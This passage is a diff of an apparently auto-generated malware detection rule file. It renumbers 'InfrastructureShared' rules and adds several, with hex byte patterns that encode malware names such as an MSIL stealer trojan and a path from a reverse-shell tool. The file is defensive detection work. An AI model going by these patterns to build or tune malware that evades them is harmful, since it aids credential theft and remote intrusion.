6e 33 32 2f 53 68 72 75 62 2e 41 00 01 00 17 01 2f 67 6f 72 73 68 2f 69 6e 74 65 72 6e 61 6c 2f 73 73 68 6f 63 6b 73 00 00 78 37 00 00 01 00 01 00 01 00 21 23 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1638{ +rule _InfrastructureShared_1643{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 63 2e 41 49 41 4d 21 4d 54 42 00 01 00 0b 01 61 d2 81 02 00 00 01 11 11 17 58 00 00 78 37 00 00 01 00 01 00 01 00 21 23 55 45 46 49 5f 41 50 49 5f 43 72 65 61 74 65 45 76 65 6e 74 45 78 00 01 00 12 03 45 33 c9 4c 8d 90 01 16 ff 90 01 01 70 01 00 00 90 00 00 00 78 37 00 00 01 00 01 00 01 00 21 23 } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_1644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17225,7 +17309,7 @@ rule _InfrastructureShared_1638{ ((#a_46_0 & 1)*21795) >=1 } -rule _InfrastructureShared_1639{ +rule _InfrastructureShared_1645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17235,17 +17319,27 @@ rule _InfrastructureShared_1639{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1640{ +rule _InfrastructureShared_1646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_5f_0 = {6d 6d 67 72 6f 77 5f 72 65 73 63 61 6e 00 01 00 17 01 ff 15 5a 8c 04 00 4c 63 c3 31 d2 48 89 c1 ff 15 44 8c 04 00 49 89 c1 00 00 78 37 00 00 01 00 01 00 02 00 21 23 64 6f 5f 64 65 65 70 5f 72 65 73 63 61 6e 00 01 00 0c 01 67 6f 76 6e 2d 61 76 61 73 74 21 00 01 00 0a 01 77 64 73 75 78 2e 64 6c 6c 00 00 00 78 37 00 00 01 00 01 00 03 } //25635 + $a_5f_0 = {6d 6d 67 72 6f 77 5f 72 65 73 63 61 6e 00 01 00 17 01 ff 15 5a 8c 04 00 4c 63 c3 31 d2 48 89 c1 ff 15 44 8c 04 00 49 89 c1 00 00 78 37 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 53 75 6d 61 74 72 61 50 64 66 00 01 00 0a 01 53 75 6d 61 74 72 61 50 44 46 01 00 0b 01 50 44 46 2d 58 52 65 61 64 65 72 00 00 78 37 00 00 01 00 01 00 02 } //25635 condition: ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1641{ +rule _InfrastructureShared_1647{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_54_0 = {3a 53 75 6d 61 74 72 61 50 64 66 00 01 00 0a 01 53 75 6d 61 74 72 61 50 44 46 01 00 0b 01 50 44 46 2d 58 52 65 61 64 65 72 00 00 78 37 00 00 01 00 01 00 02 00 21 23 64 6f 5f 64 65 65 70 5f 72 65 73 63 61 6e 00 01 00 0c 01 67 6f 76 6e 2d 61 76 61 73 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -17256,7 +17350,7 @@ rule _InfrastructureShared_1641{ ((#a_5f_0 & 1)*25635+(#a_41_1 & 1)*8448) >=1 } -rule _InfrastructureShared_1642{ +rule _InfrastructureShared_1649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -17268,7 +17362,7 @@ rule _InfrastructureShared_1642{ ((#a_46_0 & 1)*21283+(#a_2e_1 & 1)*28527+(#a_2f_2 & 1)*13166) >=1 } -rule _InfrastructureShared_1643{ +rule _InfrastructureShared_1650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17278,7 +17372,7 @@ rule _InfrastructureShared_1643{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1644{ +rule _InfrastructureShared_1651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17288,7 +17382,7 @@ rule _InfrastructureShared_1644{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1645{ +rule _InfrastructureShared_1652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17298,7 +17392,7 @@ rule _InfrastructureShared_1645{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1646{ +rule _InfrastructureShared_1653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17308,7 +17402,7 @@ rule _InfrastructureShared_1646{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1647{ +rule _InfrastructureShared_1654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17318,7 +17412,7 @@ rule _InfrastructureShared_1647{ ((#a_54_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1648{ +rule _InfrastructureShared_1655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17328,7 +17422,7 @@ rule _InfrastructureShared_1648{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1649{ +rule _InfrastructureShared_1656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17338,7 +17432,7 @@ rule _InfrastructureShared_1649{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1650{ +rule _InfrastructureShared_1657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17348,7 +17442,7 @@ rule _InfrastructureShared_1650{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1651{ +rule _InfrastructureShared_1658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17358,7 +17452,7 @@ rule _InfrastructureShared_1651{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1652{ +rule _InfrastructureShared_1659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17368,7 +17462,7 @@ rule _InfrastructureShared_1652{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1653{ +rule _InfrastructureShared_1660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17378,7 +17472,7 @@ rule _InfrastructureShared_1653{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1654{ +rule _InfrastructureShared_1661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17388,7 +17482,7 @@ rule _InfrastructureShared_1654{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1655{ +rule _InfrastructureShared_1662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17398,7 +17492,7 @@ rule _InfrastructureShared_1655{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1656{ +rule _InfrastructureShared_1663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17408,7 +17502,7 @@ rule _InfrastructureShared_1656{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1657{ +rule _InfrastructureShared_1664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17418,7 +17512,7 @@ rule _InfrastructureShared_1657{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1658{ +rule _InfrastructureShared_1665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17428,7 +17522,7 @@ rule _InfrastructureShared_1658{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1659{ +rule _InfrastructureShared_1666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17438,7 +17532,7 @@ rule _InfrastructureShared_1659{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1660{ +rule _InfrastructureShared_1667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17448,7 +17542,7 @@ rule _InfrastructureShared_1660{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1661{ +rule _InfrastructureShared_1668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17458,7 +17552,7 @@ rule _InfrastructureShared_1661{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1662{ +rule _InfrastructureShared_1669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17468,7 +17562,7 @@ rule _InfrastructureShared_1662{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1663{ +rule _InfrastructureShared_1670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17478,7 +17572,7 @@ rule _InfrastructureShared_1663{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1664{ +rule _InfrastructureShared_1671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17488,7 +17582,7 @@ rule _InfrastructureShared_1664{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1665{ +rule _InfrastructureShared_1672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17498,7 +17592,7 @@ rule _InfrastructureShared_1665{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1666{ +rule _InfrastructureShared_1673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17508,7 +17602,7 @@ rule _InfrastructureShared_1666{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1667{ +rule _InfrastructureShared_1674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17518,7 +17612,7 @@ rule _InfrastructureShared_1667{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1668{ +rule _InfrastructureShared_1675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17528,7 +17622,7 @@ rule _InfrastructureShared_1668{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1669{ +rule _InfrastructureShared_1676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17538,7 +17632,7 @@ rule _InfrastructureShared_1669{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1670{ +rule _InfrastructureShared_1677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17548,7 +17642,7 @@ rule _InfrastructureShared_1670{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1671{ +rule _InfrastructureShared_1678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17558,7 +17652,7 @@ rule _InfrastructureShared_1671{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1672{ +rule _InfrastructureShared_1679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17568,7 +17662,7 @@ rule _InfrastructureShared_1672{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1673{ +rule _InfrastructureShared_1680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17578,7 +17672,7 @@ rule _InfrastructureShared_1673{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1674{ +rule _InfrastructureShared_1681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17588,7 +17682,7 @@ rule _InfrastructureShared_1674{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1675{ +rule _InfrastructureShared_1682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17598,7 +17692,7 @@ rule _InfrastructureShared_1675{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1676{ +rule _InfrastructureShared_1683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17608,7 +17702,7 @@ rule _InfrastructureShared_1676{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1677{ +rule _InfrastructureShared_1684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17618,7 +17712,7 @@ rule _InfrastructureShared_1677{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1678{ +rule _InfrastructureShared_1685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17628,7 +17722,7 @@ rule _InfrastructureShared_1678{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1679{ +rule _InfrastructureShared_1686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17638,7 +17732,7 @@ rule _InfrastructureShared_1679{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1680{ +rule _InfrastructureShared_1687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17648,7 +17742,7 @@ rule _InfrastructureShared_1680{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1681{ +rule _InfrastructureShared_1688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17658,7 +17752,7 @@ rule _InfrastructureShared_1681{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1682{ +rule _InfrastructureShared_1689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17668,7 +17762,7 @@ rule _InfrastructureShared_1682{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1683{ +rule _InfrastructureShared_1690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17678,7 +17772,7 @@ rule _InfrastructureShared_1683{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1684{ +rule _InfrastructureShared_1691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17688,7 +17782,7 @@ rule _InfrastructureShared_1684{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1685{ +rule _InfrastructureShared_1692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17698,7 +17792,7 @@ rule _InfrastructureShared_1685{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1686{ +rule _InfrastructureShared_1693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17708,7 +17802,7 @@ rule _InfrastructureShared_1686{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1687{ +rule _InfrastructureShared_1694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17718,7 +17812,7 @@ rule _InfrastructureShared_1687{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1688{ +rule _InfrastructureShared_1695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17728,7 +17822,7 @@ rule _InfrastructureShared_1688{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1689{ +rule _InfrastructureShared_1696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17738,7 +17832,7 @@ rule _InfrastructureShared_1689{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1690{ +rule _InfrastructureShared_1697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17748,7 +17842,7 @@ rule _InfrastructureShared_1690{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1691{ +rule _InfrastructureShared_1698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17758,7 +17852,7 @@ rule _InfrastructureShared_1691{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1692{ +rule _InfrastructureShared_1699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17768,7 +17862,7 @@ rule _InfrastructureShared_1692{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1693{ +rule _InfrastructureShared_1700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17778,7 +17872,7 @@ rule _InfrastructureShared_1693{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1694{ +rule _InfrastructureShared_1701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17788,7 +17882,7 @@ rule _InfrastructureShared_1694{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1695{ +rule _InfrastructureShared_1702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17798,7 +17892,7 @@ rule _InfrastructureShared_1695{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1696{ +rule _InfrastructureShared_1703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17808,7 +17902,7 @@ rule _InfrastructureShared_1696{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1697{ +rule _InfrastructureShared_1704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17818,7 +17912,7 @@ rule _InfrastructureShared_1697{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1698{ +rule _InfrastructureShared_1705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17828,7 +17922,7 @@ rule _InfrastructureShared_1698{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1699{ +rule _InfrastructureShared_1706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17838,7 +17932,7 @@ rule _InfrastructureShared_1699{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1700{ +rule _InfrastructureShared_1707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17848,7 +17942,7 @@ rule _InfrastructureShared_1700{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1701{ +rule _InfrastructureShared_1708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17858,7 +17952,7 @@ rule _InfrastructureShared_1701{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1702{ +rule _InfrastructureShared_1709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17868,7 +17962,7 @@ rule _InfrastructureShared_1702{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1703{ +rule _InfrastructureShared_1710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17878,7 +17972,7 @@ rule _InfrastructureShared_1703{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1704{ +rule _InfrastructureShared_1711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17888,7 +17982,7 @@ rule _InfrastructureShared_1704{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1705{ +rule _InfrastructureShared_1712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17898,7 +17992,7 @@ rule _InfrastructureShared_1705{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1706{ +rule _InfrastructureShared_1713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17908,7 +18002,7 @@ rule _InfrastructureShared_1706{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1707{ +rule _InfrastructureShared_1714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17918,7 +18012,7 @@ rule _InfrastructureShared_1707{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1708{ +rule _InfrastructureShared_1715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17928,7 +18022,7 @@ rule _InfrastructureShared_1708{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1709{ +rule _InfrastructureShared_1716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17938,7 +18032,7 @@ rule _InfrastructureShared_1709{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1710{ +rule _InfrastructureShared_1717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17948,7 +18042,7 @@ rule _InfrastructureShared_1710{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1711{ +rule _InfrastructureShared_1718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17958,7 +18052,7 @@ rule _InfrastructureShared_1711{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1712{ +rule _InfrastructureShared_1719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17968,7 +18062,7 @@ rule _InfrastructureShared_1712{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1713{ +rule _InfrastructureShared_1720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17978,7 +18072,7 @@ rule _InfrastructureShared_1713{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1714{ +rule _InfrastructureShared_1721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17988,7 +18082,7 @@ rule _InfrastructureShared_1714{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1715{ +rule _InfrastructureShared_1722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17998,7 +18092,7 @@ rule _InfrastructureShared_1715{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1716{ +rule _InfrastructureShared_1723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18008,7 +18102,7 @@ rule _InfrastructureShared_1716{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1717{ +rule _InfrastructureShared_1724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18018,7 +18112,7 @@ rule _InfrastructureShared_1717{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1718{ +rule _InfrastructureShared_1725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18028,7 +18122,7 @@ rule _InfrastructureShared_1718{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1719{ +rule _InfrastructureShared_1726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18038,7 +18132,7 @@ rule _InfrastructureShared_1719{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1720{ +rule _InfrastructureShared_1727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18048,7 +18142,7 @@ rule _InfrastructureShared_1720{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1721{ +rule _InfrastructureShared_1728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18058,7 +18152,7 @@ rule _InfrastructureShared_1721{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1722{ +rule _InfrastructureShared_1729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18068,7 +18162,7 @@ rule _InfrastructureShared_1722{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1723{ +rule _InfrastructureShared_1730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18078,7 +18172,7 @@ rule _InfrastructureShared_1723{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1724{ +rule _InfrastructureShared_1731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18088,7 +18182,7 @@ rule _InfrastructureShared_1724{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1725{ +rule _InfrastructureShared_1732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18098,7 +18192,7 @@ rule _InfrastructureShared_1725{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1726{ +rule _InfrastructureShared_1733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18108,7 +18202,7 @@ rule _InfrastructureShared_1726{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1727{ +rule _InfrastructureShared_1734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18118,7 +18212,7 @@ rule _InfrastructureShared_1727{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1728{ +rule _InfrastructureShared_1735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18128,7 +18222,7 @@ rule _InfrastructureShared_1728{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1729{ +rule _InfrastructureShared_1736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18138,7 +18232,7 @@ rule _InfrastructureShared_1729{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1730{ +rule _InfrastructureShared_1737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18148,7 +18242,7 @@ rule _InfrastructureShared_1730{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1731{ +rule _InfrastructureShared_1738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -18158,7 +18252,7 @@ 